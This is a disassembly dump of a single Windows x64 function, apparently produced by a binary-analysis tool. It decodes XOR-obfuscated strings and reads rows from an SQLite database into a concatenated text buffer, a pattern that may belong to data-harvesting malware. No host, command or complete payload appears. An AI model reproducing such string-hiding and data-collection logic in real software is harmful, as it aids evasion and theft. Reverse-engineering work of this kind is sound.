Function at 0x14004c8e8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf8]
sub rsp, 0x1f8
mov rsi, rdx
mov r13, rcx
xor r15d, r15d
mov r14d, r15d
mov dword [rsp + 0x60], r15d
mov r12, qword [r8]
mov rdi, qword [r8 + 8]
mov qword [rbp + 0x58], rdi
cmp r12, rdi
je 0x14004d58d
mov edx, 1
mov qword [rbp + 0x48], r15
mov al, 0x75
mov dword [rbp - 0x78], 0x160075
mov dword [rbp - 0x74], 0x1a001a
mov dword [rbp - 0x70], 0x1c001e
mov dword [rbp - 0x6c], 0x60010
mov dword [rbp - 0x68], 0x6005b
mov dword [rbp - 0x64], 0x190004
mov dword [rbp - 0x60], 0x1001c
mov dword [rbp - 0x5c], reloc.WS2_32.dll_recv
mov rcx, r15
movsx eax, al
xor word [rbp + rcx*2 - 0x76], ax
add rcx, rdx
cmp rcx, 0xe
jae 0x14004c98e
mov al, byte [rbp - 0x78]
jmp 0x14004c978
mov word [rbp - 0x5a], r15w
mov qword [rbp - 0x18], r15
mov qword [rbp - 8], r15
mov qword [rbp], 7
mov word [rbp - 0x18], r15w
lea rdx, [rbp - 0x76]
lea rcx, [rbp - 0x18]
call fcn.140002cdc
nop
mov rdx, r12
lea rcx, [rbp + 0xc8]
call fcn.14000352c
mov rbx, rax
mov dl, reloc.WS2_32.dll_listen
mov dword [rsp + 0x68], 0x5d000d
mov dword [rsp + 0x6c], 0x62007f
mov dword [rsp + 0x70], 0x64006b
mov dword [rsp + 0x74], 0x680061
mov dword [rsp + 0x78], 0x7e
mov rcx, r15
movsx eax, dl
xor word [rsp + rcx*2 + 0x6a], ax
inc rcx
cmp rcx, 8
jae 0x14004ca0c
mov dl, byte [rsp + 0x68]
jmp 0x14004c9f5
mov word [rsp + 0x7a], r15w
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], 7
mov word [rbp - 0x58], r15w
lea rdx, [rsp + 0x6a]
lea rcx, [rbp - 0x58]
call fcn.140002cdc
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x78]
call fcn.14000352c
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 8]
call fcn.140003644
or r14d, 4
lea rcx, [rbp - 0x78]
call fcn.14000299c
nop
mov r8, rbx
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa8]
call fcn.140003644
mov rbx, rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x78]
call fcn.14000352c
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x28]
call fcn.140003644
or r14d, 8
mov dword [rsp + 0x60], r14d
lea rcx, [rbp - 0x78]
call fcn.14000299c
nop
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x48]
call fcn.1400dcbd4
test eax, eax
setne bl
lea rcx, [rbp + 0x28]
call fcn.14000299c
nop
lea rcx, [rbp + 0xa8]
call fcn.14000299c
nop
lea rcx, [rbp + 8]
call fcn.14000299c
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 8
jb 0x14004cb1a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cb15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5ae
call fcn.140173310
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], 7
mov word [rbp - 0x58], r15w
lea rcx, [rbp + 0xc8]
call fcn.14000299c
nop
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x14004cb78
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cb73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5b4
call fcn.140173310
test bl, bl
je 0x14004cc50
mov rbx, qword [rbp + 0x48]
test rbx, rbx
je 0x14004cc4b
mov rcx, rbx
call fcn.1400637dc
test eax, eax
jne 0x14004cba8
mov ecx, 0x28f53
call fcn.1400dbce4
jmp 0x14004cc4b
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14004cbb7
call qword [0x140213e80]
test byte [rbx + 0x6a], 8
je 0x14004cbd4
xor r9d, r9d
mov r8, rbx
mov rdx, qword [rbx + 0x100]
lea ecx, [r9 + 8]
call qword [rbx + 0xf8]
mov rcx, rbx
call fcn.1400d92f8
mov edx, 0x88
mov rcx, rbx
call fcn.1400c4188
cmp qword [rbx + 8], r15
jne 0x14004cc27
mov ecx, r15d
cmp dword [rbx + 0x28], r15d
jle 0x14004cc19
mov rax, qword [rbx + 0x20]
add rax, 8
mov rdx, qword [rax]
test rdx, rdx
je 0x14004cc0e
cmp dword [rdx + 0x18], r15d
jne 0x14004cc27
inc ecx
add rax, 0x20
cmp ecx, dword [rbx + 0x28]
jl 0x14004cc00
mov byte [rbx + 0x6d], 0xa7
mov rcx, rbx
call fcn.1400d959c
jmp 0x14004cc4b
lea r8, str.unable_to_close_due_to_unfinalized_statements_or_unfinished_backups
mov edx, 5
mov rcx, rbx
call fcn.140062890
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14004cc4b
call qword [0x140213e90]
nop
jmp 0x14004d584
movdqa xmm0, xmmword [0x1401f5ca0]
movdqu xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x1401f5670]
movdqu xmmword [rbp + 0x70], xmm1
movdqa xmm0, xmmword [0x1401f5de0]
movdqu xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x1401f5c50]
movdqu xmmword [rbp + 0x90], xmm1
mov word [rbp + 0xa0], 0x7f69
mov byte [rbp + 0xa2], r15b
mov rcx, r15
mov al, byte [rbp + 0x60]
xor byte [rbp + rcx + 0x61], al
inc rcx
cmp rcx, 0x41
jb 0x14004cc9d
mov byte [rbp + 0xa2], r15b
mov qword [rsp + 0x30], r15
lea rax, [rbp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9d, pe_nt_image_headers64
or r8d, 0xffffffff
lea rdx, [rbp + 0x61]
mov rbx, qword [rbp + 0x48]
mov rcx, rbx
call fcn.1400b4140
test eax, eax
je 0x14004cdb5
test rbx, rbx
je 0x14004cdb0
mov rcx, rbx
call fcn.1400637dc
test eax, eax
jne 0x14004cd0d
mov ecx, 0x28f53
call fcn.1400dbce4
jmp 0x14004cdb0
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14004cd1c
call qword [0x140213e80]
test byte [rbx + 0x6a], 8
je 0x14004cd39
xor r9d, r9d
mov r8, rbx
mov rdx, qword [rbx + 0x100]
lea ecx, [r9 + 8]
call qword [rbx + 0xf8]
mov rcx, rbx
call fcn.1400d92f8
mov edx, 0x88
mov rcx, rbx
call fcn.1400c4188
cmp qword [rbx + 8], r15
jne 0x14004cd8c
mov ecx, r15d
cmp dword [rbx + 0x28], r15d
jle 0x14004cd7e
mov rax, qword [rbx + 0x20]
add rax, 8
mov rdx, qword [rax]
test rdx, rdx
je 0x14004cd73
cmp dword [rdx + 0x18], r15d
jne 0x14004cd8c
inc ecx
add rax, 0x20
cmp ecx, dword [rbx + 0x28]
jl 0x14004cd65
mov byte [rbx + 0x6d], 0xa7
mov rcx, rbx
call fcn.1400d959c
jmp 0x14004cdb0
lea r8, str.unable_to_close_due_to_unfinalized_statements_or_unfinished_backups
mov edx, 5
mov rcx, rbx
call fcn.140062890
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14004cdb0
call qword [0x140213e90]
nop
jmp 0x14004d584
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x28], r15
mov byte [rbp - 0x38], r15b
mov r15, qword [rbp + 0x50]
mov rcx, r15
call fcn.1400823b8
cmp eax, 0x64
jne 0x14004d304
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0x28]
call fcn.1400dcd84
nop
mov r8d, 1
mov rdx, r15
lea rcx, [rbp + 8]
call fcn.1400dcd84
nop
mov r8d, 2
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.1400dcd84
nop
mov r8d, 3
mov rdx, r15
lea rcx, [rbp - 0x18]
call fcn.1400dcd84
nop
mov edx, 4
mov rcx, r15
call fcn.140082acc
mov rsi, rax
mov edx, 5
mov rcx, r15
call fcn.140082a98
mov edi, eax
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
mov word [rbp + 0x150], 0x97c
mov byte [rbp + 0x152], 0
lea rax, [rbp + 0x151]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004ce80
lea rdx, [rbp + 0x151]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
mov cl, reloc.WS2_32.dll_socket
mov dword [rsp + 0x40], 0x42454317
mov word [rsp + 0x44], 0x1e52
xor edx, edx
mov byte [rsp + 0x46], dl
mov eax, edx
xor byte [rsp + rax + 0x41], cl
inc rax
cmp rax, 5
jae 0x14004cec6
mov cl, byte [rsp + 0x40]
jmp 0x14004ceb3
mov byte [rsp + 0x46], dl
lea rax, [rsp + 0x41]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dl
jne 0x14004ced3
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
mov word [rbp + 0x158], 0x935
mov byte [rbp + 0x15a], 0
lea rax, [rbp + 0x159]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004cf20
lea rdx, [rbp + 0x159]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
cmp edi, 1
jne 0x14004cf9c
mov cl, 0x27
mov dword [rsp + 0x47], 0x72757327
mov word [rsp + 0x4b], 0x62
xor edi, edi
mov eax, edi
xor byte [rsp + rax + 0x48], cl
inc rax
cmp rax, 4
jae 0x14004cf67
mov cl, byte [rsp + 0x47]
jmp 0x14004cf54
mov byte [rsp + 0x4c], dil
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], dil
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x58]
call fcn.140005250
lea r8, [rbp - 0x58]
or r14d, 1
mov rdx, qword [rbp - 0x58]
jmp 0x14004cffc
mov cl, 0x7a
mov dword [rsp + 0x4d], 0x363b3c7a
mov word [rsp + 0x51], 0x3f29
xor edi, edi
mov byte [rsp + 0x53], dil
mov eax, edi
xor byte [rsp + rax + 0x4e], cl
inc rax
cmp rax, 5
jae 0x14004cfc9
mov cl, byte [rsp + 0x4d]
jmp 0x14004cfb6
mov byte [rsp + 0x53], dil
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], dil
lea rdx, [rsp + 0x4e]
lea rcx, [rbp - 0x78]
call fcn.140005250
lea r8, [rbp - 0x78]
or r14d, 2
mov rdx, qword [rbp - 0x78]
mov dword [rsp + 0x60], r14d
cmp qword [r8 + 0x18], 0x10
cmovb rdx, r8
mov r8, qword [r8 + 0x10]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
nop
test r14b, 2
je 0x14004d072
and r14d, 0xfffffffd
mov dword [rsp + 0x60], r14d
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14004d062
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d05d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5ba
call fcn.140173310
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], dil
test r14b, 1
je 0x14004d0bc
and r14d, 0xfffffffe
mov dword [rsp + 0x60], r14d
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14004d0bc
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d0b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5c0
call fcn.140173310
mov word [rsp + 0x54], 0x944
mov byte [rsp + 0x56], dil
lea rax, [rsp + 0x55]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14004d0d1
lea rdx, [rsp + 0x55]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
mov rdx, rsi
lea rcx, [rbp - 0x58]
call fcn.140004038
nop
mov r8, qword [rax + 0x10]
mov esi, reloc.WS2_32.dll_recv
cmp qword [rax + 0x18], rsi
jb 0x14004d107
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.1400052c0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, rsi
jb 0x14004d14e
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d149
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5c6
call fcn.140173310
mov word [rsp + 0x57], 0x915
mov byte [rsp + 0x59], dil
lea rax, [rsp + 0x58]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14004d163
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], rsi
cmovae rdx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x38]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
mov word [rsp + 0x5a], 0x96b
mov byte [rsp + 0x5c], dil
lea rax, [rsp + 0x5b]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14004d1a9
lea rdx, [rsp + 0x5b]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], rsi
cmovae rdx, qword [rbp + 8]
mov r8, qword [rbp + 0x18]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
mov word [rsp + 0x5d], 0xa6d
mov byte [rsp + 0x5f], dil
lea rax, [rsp + 0x5e]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14004d1ef
lea rdx, [rsp + 0x5e]
lea rcx, [rbp - 0x38]
call fcn.1400052c0
nop
mov rdx, qword [rbp]
mov edi, 0x1000
cmp rdx, rsi
jb 0x14004d243
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rdi
jb 0x14004d23d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5cc
call fcn.140173310
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, rsi
jb 0x14004d27b
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, rdi
jb 0x14004d275
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5d2
call fcn.140173310
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, rsi
jb 0x14004d2b2
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, rdi
jb 0x14004d2ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5d8
call fcn.140173310
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, rsi
jb 0x14004d2e8
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, rdi
jb 0x14004d2e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5de
call fcn.140173310
mov rcx, r15
call fcn.1400823b8
cmp eax, 0x64
je 0x14004cdde
mov rdi, qword [rbp + 0x58]
mov rsi, qword [rbp + 0x148]
mov al, 0x60
mov dword [rsp + 0x68], 0x30060
mov dword [rsp + 0x6c], 0xf000f
mov edx, listen
mov dword [rsp + 0x70], 0x9000b
mov dword [rsp + 0x74], 0x130005
mov dword [rsp + 0x78], 0x14004e
mov dword [rsp + 0x7c], 0x140018
xor r15d, r15d
mov word [rbp - 0x80], r15w
mov ecx, r15d
movsx eax, al
xor word [rsp + rcx*2 + 0x6a], ax
inc rcx
cmp rcx, rdx
jae 0x14004d35c
mov al, byte [rsp + 0x68]
jmp 0x14004d346
mov word [rbp - 0x80], r15w
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], 7
mov word [rbp + 8], r15w
lea rdx, [rsp + 0x6a]
lea rcx, [rbp + 8]
call fcn.140002cdc
nop
mov rdx, r12
lea rcx, [rbp + 0xc8]
call fcn.14000352c
nop
mov r8, rax
mov rdx, r13
lea rcx, [rbp - 0x58]
call fcn.140003644
or r14d, 0x10
lea rcx, [rbp + 0xc8]
call fcn.14000299c
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa8]
call fcn.14000352c
nop
mov r8, rax
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x18]
call fcn.140003644
or r14d, 0x20
lea rcx, [rbp + 0xa8]
call fcn.14000299c
nop
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], r15
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x28]
call fcn.140003f34
or r14d, 0x40
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x28]
call fcn.140059680
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x14004d453
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d44d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5e4
call fcn.140173310
nop
lea rcx, [rbp - 0x18]
call fcn.14000299c
nop
lea rcx, [rbp - 0x58]
call fcn.14000299c
nop
lea rcx, [rbp + 8]
call fcn.14000299c
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14004d4ac
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d4a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d5a8
call fcn.140173310
mov qword [rbp - 0x28], r15
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x38], r15b
test rbx, rbx
je 0x14004d584
mov rcx, rbx
call fcn.1400637dc
test eax, eax
jne 0x14004d4e1
mov ecx, 0x28f53
call fcn.1400dbce4
jmp 0x14004d584
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14004d4f0
call qword [0x140213e80]
test byte [rbx + 0x6a], 8
je 0x14004d50d
xor r9d, r9d
mov r8, rbx
mov rdx, qword [rbx + 0x100]
lea ecx, [r9 + 8]
call qword [rbx + 0xf8]
mov rcx, rbx
call fcn.1400d92f8
mov edx, 0x88
mov rcx, rbx
call fcn.1400c4188
cmp qword [rbx + 8], r15
jne 0x14004d560
mov ecx, r15d
cmp dword [rbx + 0x28], r15d
jle 0x14004d552
mov rax, qword [rbx + 0x20]
add rax, 8
mov rdx, qword [rax]
test rdx, rdx
je 0x14004d547
cmp dword [rdx + 0x18], r15d
jne 0x14004d560
inc ecx
add rax, 0x20
cmp ecx, dword [rbx + 0x28]
jl 0x14004d539
mov byte [rbx + 0x6d], 0xa7
mov rcx, rbx
call fcn.1400d959c
jmp 0x14004d584
lea r8, str.unable_to_close_due_to_unfinalized_statements_or_unfinished_backups
mov edx, 5
mov rcx, rbx
call fcn.140062890
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14004d584
call qword [0x140213e90]
nop
add r12, 0x20
jmp 0x14004c929
mov rcx, r13
add rsp, 0x1f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
jmp fcn.14000299c
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
int3
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
int3